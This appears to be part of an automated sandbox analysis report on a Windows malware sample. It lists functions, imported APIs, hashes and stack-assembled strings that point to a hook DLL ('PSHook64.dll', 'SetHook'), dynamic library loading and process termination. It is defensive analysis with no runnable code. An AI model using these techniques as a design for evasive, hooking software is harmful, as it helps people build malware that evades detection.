Instruction Fuzzy Hash: 9051702040C7C0CAE312D728C45875FFFE26BA6748F48498CB1C54A2A6C7FB9598C767

Function 005AC685 Relevance: 56.1, APIs: 1, Strings: 31, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005ABC65: LoadLibraryA.KERNELBASE ref: 005ABCD2

SleepEx.KERNELBASE ref: 005AC768

Strings

l, xrefs: 005AC6A2
3, xrefs: 005AC6A7
i, xrefs: 005AC710
T, xrefs: 005AC70B
6, xrefs: 005AC738
k, xrefs: 005AC689
o, xrefs: 005AC724
C, xrefs: 005AC71F
l, xrefs: 005AC6BB
k, xrefs: 005AC71A
n, xrefs: 005AC698
4, xrefs: 005AC73D
2, xrefs: 005AC6AC
e, xrefs: 005AC701
t, xrefs: 005AC706
r, xrefs: 005AC693
e, xrefs: 005AC6D4
e, xrefs: 005AC6D9
d, xrefs: 005AC6B6
l, xrefs: 005AC6CF
l, xrefs: 005AC6C0
t, xrefs: 005AC733
., xrefs: 005AC6B1
S, xrefs: 005AC6CA
G, xrefs: 005AC6FC
e, xrefs: 005AC68E
p, xrefs: 005AC6DE
c, xrefs: 005AC715
u, xrefs: 005AC729
n, xrefs: 005AC72E
e, xrefs: 005AC69D

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoadSleep
String ID: .$2$3$4$6$C$G$S$T$c$d$e$e$e$e$e$i$k$k$l$l$l$l$n$n$o$p$r$t$t$u
API String ID: 2118945035-1678096204
Opcode ID: 0e9d0bfd401814517fb7312cad325cf59919dcbed0c5b293f02dbd59bae740da
Instruction ID: a972a2bbe0b627d0f12e1b288c88a0bad874826dfb65a3ba06c071d256f31a2c
Opcode Fuzzy Hash: 0e9d0bfd401814517fb7312cad325cf59919dcbed0c5b293f02dbd59bae740da
Instruction Fuzzy Hash: 1941802050C7C48AE742D768C448B5FFFD2ABA6748F48099DB1C98A392C7FAC558C767

Function 005AD525 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005ABC65: LoadLibraryA.KERNELBASE ref: 005ABCD2

SleepEx.KERNELBASE ref: 005AD5CC

Strings

l, xrefs: 005AD542
k, xrefs: 005AD529
l, xrefs: 005AD55B
e, xrefs: 005AD52E
d, xrefs: 005AD556
., xrefs: 005AD551
e, xrefs: 005AD53D
r, xrefs: 005AD533
l, xrefs: 005AD560
e, xrefs: 005AD579
p, xrefs: 005AD57E
3, xrefs: 005AD547
2, xrefs: 005AD54C
l, xrefs: 005AD56F
e, xrefs: 005AD574
S, xrefs: 005AD56A
n, xrefs: 005AD538

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoadSleep
String ID: .$2$3$S$d$e$e$e$e$k$l$l$l$l$n$p$r
API String ID: 2118945035-1151806120
Opcode ID: 4ef0a36a1f249cfd17cfa6607081ee08fb798763e5631dfdcc5d691ec55f17a4
Instruction ID: cea25475bbdc67bf88d6a05ce37f6f68c9194860cdc287ac09178876a074d0ae
Opcode Fuzzy Hash: 4ef0a36a1f249cfd17cfa6607081ee08fb798763e5631dfdcc5d691ec55f17a4
Instruction Fuzzy Hash: FA21E82050CBC48EE741E768844875FFFE2ABAA709F440A5DF0C996292D7FAC558C727

Function 001F9AFD Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 001F9B6A

Memory Dump Source

Source File: 00000000.00000002.3287901093.00000000001F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1f0000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bc3bdb819496df2ff72cb4def5e53009978536963dbe8734a7591a1aa869c889
Instruction ID: 044fc6e484cb4987e987d844ad1188199d26d1781f6c98eb2a78d23422867a38
Opcode Fuzzy Hash: bc3bdb819496df2ff72cb4def5e53009978536963dbe8734a7591a1aa869c889
Instruction Fuzzy Hash: 7E11C070528B4C9FD784FF28C048B2A7AE1FB98345F944A2DB58AD3260D775C585CB42

Function 005ABC65 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 005ABCD2

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 235e72a7c4a46574d56536a75a93859d3b0f1fc4ed960766b8425097f384a9d1
Instruction ID: cd847659212ae07db4631e8abb889db73fe9e1e6fb89c0aacaf2138986361cff
Opcode Fuzzy Hash: 235e72a7c4a46574d56536a75a93859d3b0f1fc4ed960766b8425097f384a9d1
Instruction Fuzzy Hash: 8E11FE70528B499FE784EF28805C72E7EE1FBD8355F404A1DB489C22A1DB748984CB46

Function 0000000140003A96 Relevance: 1.4, APIs: 1, Instructions: 113
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0000000140003AB9

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f28f014416c05a534b485dd9bf541f64217d3e2b80d74e863d9e5ad7f47072ef
Instruction ID: 9fcde46676598f2d8985de621c429db9fda3c6d1cd9b1c5194609f7ba9f79def
Opcode Fuzzy Hash: f28f014416c05a534b485dd9bf541f64217d3e2b80d74e863d9e5ad7f47072ef
Instruction Fuzzy Hash: 75511776219B4482EB62DB0AF89479A73A4F38CBD8F154126EB8D477B4DB7DC4918700

Non-executed Functions

Function 005B2445 Relevance: 191.2, Strings: 152, Instructions: 1150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 005B24A4
l, xrefs: 005B2E80
u, xrefs: 005B30D0
k, xrefs: 005B2474
t, xrefs: 005B2598
e, xrefs: 005B24F8
x, xrefs: 005B31FF
d, xrefs: 005B27D9
t, xrefs: 005B3370
t, xrefs: 005B2580
h, xrefs: 005B27B6
r, xrefs: 005B30D8
r, xrefs: 005B2538
F, xrefs: 005B2FC8
n, xrefs: 005B2E58
2, xrefs: 005B2E6C
l, xrefs: 005B27C0
u, xrefs: 005B25E4
/, xrefs: 005B249C
e, xrefs: 005B2FB9
., xrefs: 005B25DC
z, xrefs: 005B25D4
., xrefs: 005B24C8
h, xrefs: 005B285D
x, xrefs: 005B2528
r, xrefs: 005B2EDA
s, xrefs: 005B2F0A
p, xrefs: 005B2FC3
t, xrefs: 005B280D
e, xrefs: 005B2835
S, xrefs: 005B27B1
e, xrefs: 005B2F02
a, xrefs: 005B2F9C
l, xrefs: 005B2825
t, xrefs: 005B2ED2
-, xrefs: 005B24E8
r, xrefs: 005B2518
e, xrefs: 005B2E92
r, xrefs: 005B2F5C
i, xrefs: 005B2EAA
d, xrefs: 005B2E76
l, xrefs: 005B27E3
j, xrefs: 005B248C
A, xrefs: 005B2EC2
t, xrefs: 005B2855
d, xrefs: 005B25A8
r, xrefs: 005B3318
t, xrefs: 005B2EFA
t, xrefs: 005B3320
k, xrefs: 005B247C
e, xrefs: 005B2F94
l, xrefs: 005B2570
., xrefs: 005B2548
r, xrefs: 005B3348
., xrefs: 005B27D4
j, xrefs: 005B2508
G, xrefs: 005B2F3C
e, xrefs: 005B2805
y, xrefs: 005B2530
P, xrefs: 005B2845
z, xrefs: 005B2560
r, xrefs: 005B2550
e, xrefs: 005B3360
H, xrefs: 005B27F5
l, xrefs: 005B3338
e, xrefs: 005B2E4E
2, xrefs: 005B27CF
c, xrefs: 005B2F6C
3, xrefs: 005B2E67
A, xrefs: 005B2F12
e, xrefs: 005B2F44
HpS, xrefs: 005B2FF9
y, xrefs: 005B2510
o, xrefs: 005B281D
t, xrefs: 005B24F0
k, xrefs: 005B25F4
y, xrefs: 005B246C
f, xrefs: 005B24D0
s, xrefs: 005B2F84
r, xrefs: 005B25EC
., xrefs: 005B2E71
S, xrefs: 005B27ED
r, xrefs: 005B283D
3, xrefs: 005B27CA
o, xrefs: 005B2F64
G, xrefs: 005B2E8A
e, xrefs: 005B301B
t, xrefs: 005B2E9A
o, xrefs: 005B3350
l, xrefs: 005B3011
j, xrefs: 005B30C0
P, xrefs: 005B2F54
u, xrefs: 005B2EF2
F, xrefs: 005B2815
a, xrefs: 005B284D
t, xrefs: 005B2ECA
j, xrefs: 005B31DF
p, xrefs: 005B3020
g, xrefs: 005B31F7
G, xrefs: 005B27FD
f, xrefs: 005B25A0
H, xrefs: 005B2F8C
e, xrefs: 005B2FD2
r, xrefs: 005B2FCD
j, xrefs: 005B24E0
t, xrefs: 005B2F4C
e, xrefs: 005B2520
/, xrefs: 005B25B0
S, xrefs: 005B300C
z, xrefs: 005B2540
e, xrefs: 005B2E5D
d, xrefs: 005B282D
c, xrefs: 005B2558
l, xrefs: 005B2E62
a, xrefs: 005B3330
e, xrefs: 005B2578
j, xrefs: 005B24D8
., xrefs: 005B31E7
l, xrefs: 005B27DE
l, xrefs: 005B2EB2
s, xrefs: 005B2F7C
j, xrefs: 005B2588
-, xrefs: 005B2500
k, xrefs: 005B30E0
t, xrefs: 005B3358
e, xrefs: 005B27BB
i, xrefs: 005B2EE2
P, xrefs: 005B3340
l, xrefs: 005B27C5
e, xrefs: 005B2FD7
F, xrefs: 005B2EA2
V, xrefs: 005B3308
:, xrefs: 005B2494
A, xrefs: 005B2865
u, xrefs: 005B3328
g, xrefs: 005B2484
H, xrefs: 005B2FB4
e, xrefs: 005B2EBA
e, xrefs: 005B2F74
i, xrefs: 005B3310
k, xrefs: 005B2E49
r, xrefs: 005B2E53
b, xrefs: 005B2EEA
., xrefs: 005B30C8
a, xrefs: 005B31EF
p, xrefs: 005B2FA4
p, xrefs: 005B2568
e, xrefs: 005B3016
l, xrefs: 005B2E7B
a, xrefs: 005B2FBE
c, xrefs: 005B3368
., xrefs: 005B2590

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoad
String ID: -$-$.$.$.$.$.$.$.$.$/$/$/$2$2$3$3$:$A$A$A$F$F$F$G$G$G$H$H$H$HpS$P$P$P$S$S$S$V$a$a$a$a$a$b$c$c$c$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$f$f$g$g$h$h$i$i$i$j$j$j$j$j$j$j$k$k$k$k$k$l$l$l$l$l$l$l$l$l$l$l$l$n$o$o$o$p$p$p$p$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$t$t$t$t$t$t$t$t$t$t$t$t$t$u$u$u$u$x$x$y$y$y$z$z$z
API String ID: 1029625771-171351980
Opcode ID: cfdbf4389c9b1104a0e8a4b6bf7caf04d2c30c583f9a0fade0bd550eefe70e9a
Instruction ID: a80dd1e5b2907ff2429941fbb6b84f142a6324d89976aea9bb1587f8a70a4cfd
Opcode Fuzzy Hash: cfdbf4389c9b1104a0e8a4b6bf7caf04d2c30c583f9a0fade0bd550eefe70e9a
Instruction Fuzzy Hash: 29B2E53021C7C48AE776EB28C458BDFBBE1BBE5304F44492D90CE87295DAB5A944CB53

Function 005AFA05 Relevance: 131.6, Strings: 105, Instructions: 351COMMON

Download Yara Rule

Strings

e, xrefs: 005AFBFB
t, xrefs: 005AFAE3
l, xrefs: 005AFDB0
w, xrefs: 005AFA3F
S, xrefs: 005AFC83
i, xrefs: 005AFA4E
H, xrefs: 005AFC4B
a, xrefs: 005AFDA1
t, xrefs: 005AFC1B
n, xrefs: 005AFC0B
H, xrefs: 005AFD97
r, xrefs: 005AFDE2
n, xrefs: 005AFA94
e, xrefs: 005AFB23
t, xrefs: 005AFA9E
e, xrefs: 005AFD57
o, xrefs: 005AFDBA
p, xrefs: 005AFB1B
c, xrefs: 005AFD4F
r, xrefs: 005AFA8F
C, xrefs: 005AFC23
s, xrefs: 005AFD5F
n, xrefs: 005AFBEB
R, xrefs: 005AFB9B
e, xrefs: 005AFD77
s, xrefs: 005AFD67
e, xrefs: 005AFDEC
l, xrefs: 005AFC2B
O, xrefs: 005AFB13
t, xrefs: 005AFBF3
e, xrefs: 005AFA58
i, xrefs: 005AFBC3
d, xrefs: 005AFA67
I, xrefs: 005AFB5B
n, xrefs: 005AFAFB
r, xrefs: 005AFC03
., xrefs: 005AFA62
p, xrefs: 005AFDA6
e, xrefs: 005AFC13
n, xrefs: 005AFB63
A, xrefs: 005AFAC3
a, xrefs: 005AFD7F
n, xrefs: 005AFA49
e, xrefs: 005AFD9C
e, xrefs: 005AFBA3
H, xrefs: 005AFD6F
t, xrefs: 005AFA5D
t, xrefs: 005AFB6B
l, xrefs: 005AFBCB
U, xrefs: 005AFB33
e, xrefs: 005AFC73
a, xrefs: 005AFBAB
e, xrefs: 005AFC92
p, xrefs: 005AFC97
A, xrefs: 005AFB4B
p, xrefs: 005AFD87
HpS, xrefs: 005AFE2C
l, xrefs: 005AFB43
O, xrefs: 005AFAA3
c, xrefs: 005AFDBF
e, xrefs: 005AFAB3
r, xrefs: 005AFB3B
l, xrefs: 005AFC6B
i, xrefs: 005AFA44
F, xrefs: 005AFBBB
l, xrefs: 005AFC88
n, xrefs: 005AFC5B
s, xrefs: 005AFC3B
e, xrefs: 005AFBD3
A, xrefs: 005AFDAB
t, xrefs: 005AFA85
p, xrefs: 005AFDD8
l, xrefs: 005AFDB5
e, xrefs: 005AFB73
r, xrefs: 005AFAF3
I, xrefs: 005AFAD3
I, xrefs: 005AFA7B
l, xrefs: 005AFA6C
e, xrefs: 005AFB8B
e, xrefs: 005AFC8D
e, xrefs: 005AFB03
n, xrefs: 005AFB2B
d, xrefs: 005AFBB3
e, xrefs: 005AFA8A
n, xrefs: 005AFA53
a, xrefs: 005AFC53
e, xrefs: 005AFA99
GAOrI, xrefs: 005AFDF7
l, xrefs: 005AFA71
e, xrefs: 005AFDE7
d, xrefs: 005AFC63
n, xrefs: 005AFA80
n, xrefs: 005AFADB
e, xrefs: 005AFAEB
o, xrefs: 005AFD47
F, xrefs: 005AFDDD
n, xrefs: 005AFABB
I, xrefs: 005AFBE3
r, xrefs: 005AFB7B
n, xrefs: 005AFB83
e, xrefs: 005AFC43
t, xrefs: 005AFB93
t, xrefs: 005AFB0B
p, xrefs: 005AFAAB
o, xrefs: 005AFC33

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoad
String ID: .$A$A$A$C$F$F$GAOrI$H$H$H$HpS$I$I$I$I$O$O$R$S$U$a$a$a$a$c$c$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$i$i$i$l$l$l$l$l$l$l$l$l$n$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$p$p$p$p$p$p$r$r$r$r$r$r$s$s$s$t$t$t$t$t$t$t$t$t$w
API String ID: 1029625771-515521434
Opcode ID: 40b2e031f8b7b603e680d399ff321b66bd24f4a4aef26e730e424784db91921a
Instruction ID: 4b407891ff3a653c3c83d082effd25849786edc9a546ddce08b94d3bb3d5002a
Opcode Fuzzy Hash: 40b2e031f8b7b603e680d399ff321b66bd24f4a4aef26e730e424784db91921a
Instruction Fuzzy Hash: 7702B73010C7C4CEE772DB28C45879FBFD1ABA6709F04495DA1CD8A292CBBA5598C763

Function 00000001400042D0 Relevance: 49.1, APIs: 24, Strings: 4, Instructions: 140memorylibraryfileCOMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI ref: 0000000140004179
PathAppendW.SHLWAPI ref: 000000014000418B
LoadLibraryW.KERNEL32 ref: 0000000140004198
GetProcAddress.KERNEL32 ref: 00000001400041B9
GetProcAddress.KERNEL32 ref: 00000001400041CE
GetProcAddress.KERNEL32 ref: 00000001400041E3
GetProcessHeap.KERNEL32 ref: 000000014000420C
HeapAlloc.KERNEL32 ref: 000000014000421A
GetProcessHeap.KERNEL32 ref: 000000014000427E
HeapFree.KERNEL32 ref: 000000014000428C
FreeLibrary.KERNEL32 ref: 000000014000429A
StrCpyW.SHLWAPI ref: 00000001400042D3
FindNextFileW.KERNEL32 ref: 00000001400042E9
FindClose.KERNEL32 ref: 00000001400042FD
FindFirstFileW.KERNEL32 ref: 0000000140004311
StrCmpIW.SHLWAPI ref: 000000014000432E
StrCpyW.SHLWAPI ref: 0000000140004344
PathAppendW.SHLWAPI ref: 0000000140004356
DeleteFileW.KERNEL32 ref: 0000000140004361
FindNextFileW.KERNEL32 ref: 0000000140004371
FindClose.KERNEL32 ref: 000000014000437E
StrCpyW.SHLWAPI ref: 000000014000438C
StrCpyW.SHLWAPI ref: 000000014000439C
PathAppendW.SHLWAPI ref: 00000001400043AA

Strings

VerQueryValueW, xrefs: 00000001400041AF
version.dll, xrefs: 0000000140004191
GetFileVersionInfoSizeW, xrefs: 00000001400041D4
GetFileVersionInfoW, xrefs: 00000001400041BF

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: Find$FileHeap$AddressAppendPathProc$CloseFreeLibraryNextProcess$AllocDeleteFirstLoad
String ID: GetFileVersionInfoSizeW$GetFileVersionInfoW$VerQueryValueW$version.dll
API String ID: 1301769236-8576242
Opcode ID: 602cf3a18254f789caf50c65d0e444867a13e0ed185ab1c788f2db204bae0101
Instruction ID: ea85576fe8112d40b92f550af8c0024e37ea0d9b7fc78088941ea10764493b20
Opcode Fuzzy Hash: 602cf3a18254f789caf50c65d0e444867a13e0ed185ab1c788f2db204bae0101
Instruction Fuzzy Hash: 65616171714A8586EF26CF22F8443D963A1F78CBD9F405121EB4A4BA79EFB9C649C700

Function 00000001400043D0 Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 108threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000001400043F5
Process32FirstW.KERNEL32 ref: 0000000140004418
StrCmpIW.SHLWAPI ref: 0000000140004432
GetCurrentProcessId.KERNEL32 ref: 000000014000443C
Process32NextW.KERNEL32 ref: 0000000140004454
CloseHandle.KERNEL32 ref: 0000000140004461
OpenProcess.KERNEL32 ref: 000000014000447B
WaitForSingleObject.KERNEL32 ref: 0000000140004491
CloseHandle.KERNEL32 ref: 00000001400044A1
OpenProcess.KERNEL32 ref: 00000001400044AF
TerminateProcess.KERNEL32 ref: 00000001400044C3
CloseHandle.KERNEL32 ref: 00000001400044CC
CloseHandle.KERNEL32 ref: 00000001400044E5
CreateToolhelp32Snapshot.KERNEL32 ref: 00000001400044F0
Thread32First.KERNEL32 ref: 0000000140004518
CloseHandle.KERNEL32 ref: 0000000140004525
PostThreadMessageW.USER32 ref: 0000000140004545
Thread32Next.KERNEL32 ref: 0000000140004553
CloseHandle.KERNEL32 ref: 000000014000455E

Strings

ps64ldr.exe, xrefs: 0000000140004426

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: CloseHandle$Process$CreateFirstNextOpenProcess32SnapshotThread32Toolhelp32$CurrentMessageObjectPostSingleTerminateThreadWait
String ID: ps64ldr.exe
API String ID: 2684220759-1557747398
Opcode ID: 2067b6308fb2e066b3524b32a3b0dd7a672f7c8119cc6f74b7a7d0e2c0c7481d
Instruction ID: ce3777ac4d17e78d67ea8f15511cefb259924c50536e79486557088d44885b05
Opcode Fuzzy Hash: 2067b6308fb2e066b3524b32a3b0dd7a672f7c8119cc6f74b7a7d0e2c0c7481d
Instruction Fuzzy Hash: E44175B1600B4182EB2ADB17F8443D963A1F7CDBD1F544225EB1A076B6DF79C589C700

Function 0000000140004580 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 82stringlibraryCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 00000001400045B8
GetCommandLineW.KERNEL32 ref: 000000014000458D

Part of subcall function 0000000140004020: CharNextW.USER32 ref: 0000000140004059
Part of subcall function 0000000140004020: CharNextW.USER32 ref: 0000000140004067
Part of subcall function 0000000140004020: CharNextW.USER32 ref: 0000000140004078

ExitProcess.KERNEL32 ref: 00000001400046B7

Part of subcall function 00000001400043D0: CreateToolhelp32Snapshot.KERNEL32 ref: 00000001400043F5
Part of subcall function 00000001400043D0: Process32FirstW.KERNEL32 ref: 0000000140004418
Part of subcall function 00000001400043D0: StrCmpIW.SHLWAPI ref: 0000000140004432
Part of subcall function 00000001400043D0: GetCurrentProcessId.KERNEL32 ref: 000000014000443C
Part of subcall function 00000001400043D0: Process32NextW.KERNEL32 ref: 0000000140004454
Part of subcall function 00000001400043D0: CloseHandle.KERNEL32 ref: 0000000140004461
Part of subcall function 00000001400043D0: OpenProcess.KERNEL32 ref: 000000014000447B
Part of subcall function 00000001400043D0: WaitForSingleObject.KERNEL32 ref: 0000000140004491
Part of subcall function 00000001400043D0: CloseHandle.KERNEL32 ref: 00000001400044A1
Part of subcall function 00000001400043D0: OpenProcess.KERNEL32 ref: 00000001400044AF
Part of subcall function 00000001400043D0: TerminateProcess.KERNEL32 ref: 00000001400044C3
Part of subcall function 00000001400043D0: CloseHandle.KERNEL32 ref: 00000001400044CC
Part of subcall function 00000001400043D0: CloseHandle.KERNEL32 ref: 00000001400044E5
Part of subcall function 00000001400043D0: CreateToolhelp32Snapshot.KERNEL32 ref: 00000001400044F0
Part of subcall function 00000001400043D0: Thread32First.KERNEL32 ref: 0000000140004518
Part of subcall function 00000001400043D0: CloseHandle.KERNEL32 ref: 0000000140004525
Part of subcall function 00000001400043D0: PostThreadMessageW.USER32 ref: 0000000140004545
Part of subcall function 00000001400043D0: Thread32Next.KERNEL32 ref: 0000000140004553

lstrcpyW.KERNEL32 ref: 00000001400045ED

Part of subcall function 0000000140004094: GetModuleFileNameW.KERNEL32 ref: 00000001400040D0
Part of subcall function 0000000140004094: StrCpyW.SHLWAPI ref: 000000014000410C
Part of subcall function 0000000140004094: PathAppendW.SHLWAPI ref: 000000014000411C
Part of subcall function 0000000140004094: StrCatW.SHLWAPI ref: 0000000140004130
Part of subcall function 0000000140004094: FindFirstFileW.KERNEL32 ref: 000000014000414B

ExitProcess.KERNEL32 ref: 0000000140004604
LoadLibraryW.KERNEL32 ref: 0000000140004610
ExitProcess.KERNEL32 ref: 0000000140004621

Strings

PSHook64.dll, xrefs: 00000001400045E1
SetHook, xrefs: 0000000140004628
ps64start, xrefs: 00000001400045AE

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: Process$CloseHandleNext$CharExitFirst$CreateFileOpenProcess32SnapshotThread32Toolhelp32$AppendCommandCurrentFindLibraryLineLoadMessageModuleNameObjectPathPostSingleTerminateThreadWaitlstrcmpilstrcpy
String ID: PSHook64.dll$SetHook$ps64start
API String ID: 332431168-2610298943
Opcode ID: 65c069a66cf27f93afbc93d153c66077ebfe7794891ddcc252e1ce5ddb40a19e
Instruction ID: 968b34224ca3ecc9b49ea74266e049d3f0c14ad38a8c9c0776c80c0bba26cdca
Opcode Fuzzy Hash: 65c069a66cf27f93afbc93d153c66077ebfe7794891ddcc252e1ce5ddb40a19e
Instruction Fuzzy Hash: 14313FB120464182EB2BDB63F8507E973A1EB9D7C4F444025FB0A476B6EF7AC548C705

Function 0000000140004150 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 98memorylibraryloaderCOMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI ref: 0000000140004179
PathAppendW.SHLWAPI ref: 000000014000418B
LoadLibraryW.KERNEL32 ref: 0000000140004198
GetProcAddress.KERNEL32 ref: 00000001400041B9
GetProcAddress.KERNEL32 ref: 00000001400041CE
GetProcAddress.KERNEL32 ref: 00000001400041E3
GetProcessHeap.KERNEL32 ref: 000000014000420C
HeapAlloc.KERNEL32 ref: 000000014000421A
GetProcessHeap.KERNEL32 ref: 000000014000427E
HeapFree.KERNEL32 ref: 000000014000428C
FreeLibrary.KERNEL32 ref: 000000014000429A
StrCpyW.SHLWAPI ref: 00000001400042D3
FindNextFileW.KERNEL32 ref: 00000001400042E9
FindClose.KERNEL32 ref: 00000001400042FD
FindFirstFileW.KERNEL32 ref: 0000000140004311

Strings

VerQueryValueW, xrefs: 00000001400041AF
version.dll, xrefs: 0000000140004191
GetFileVersionInfoSizeW, xrefs: 00000001400041D4
GetFileVersionInfoW, xrefs: 00000001400041BF

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: Heap$AddressFindProc$FileFreeLibraryProcess$AllocAppendCloseFirstLoadNextPath
String ID: GetFileVersionInfoSizeW$GetFileVersionInfoW$VerQueryValueW$version.dll
API String ID: 475380777-8576242
Opcode ID: d7f5f813a79bebc1c238e42f34f5596fc577a933a9e8701bf825a14ac297f4ef
Instruction ID: 4da8f5d26d1a9ea8b5913df79916ccdbe08d760e06f24acf903853bd57acbbd7
Opcode Fuzzy Hash: d7f5f813a79bebc1c238e42f34f5596fc577a933a9e8701bf825a14ac297f4ef
Instruction Fuzzy Hash: 3A417575714A8186EB62CF62F8443D963A0F78C7E8F444121EF4A476B9EF79C688C740

Function 0000000140008218 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140008291
RtlLookupFunctionEntry.KERNEL32 ref: 00000001400082A9
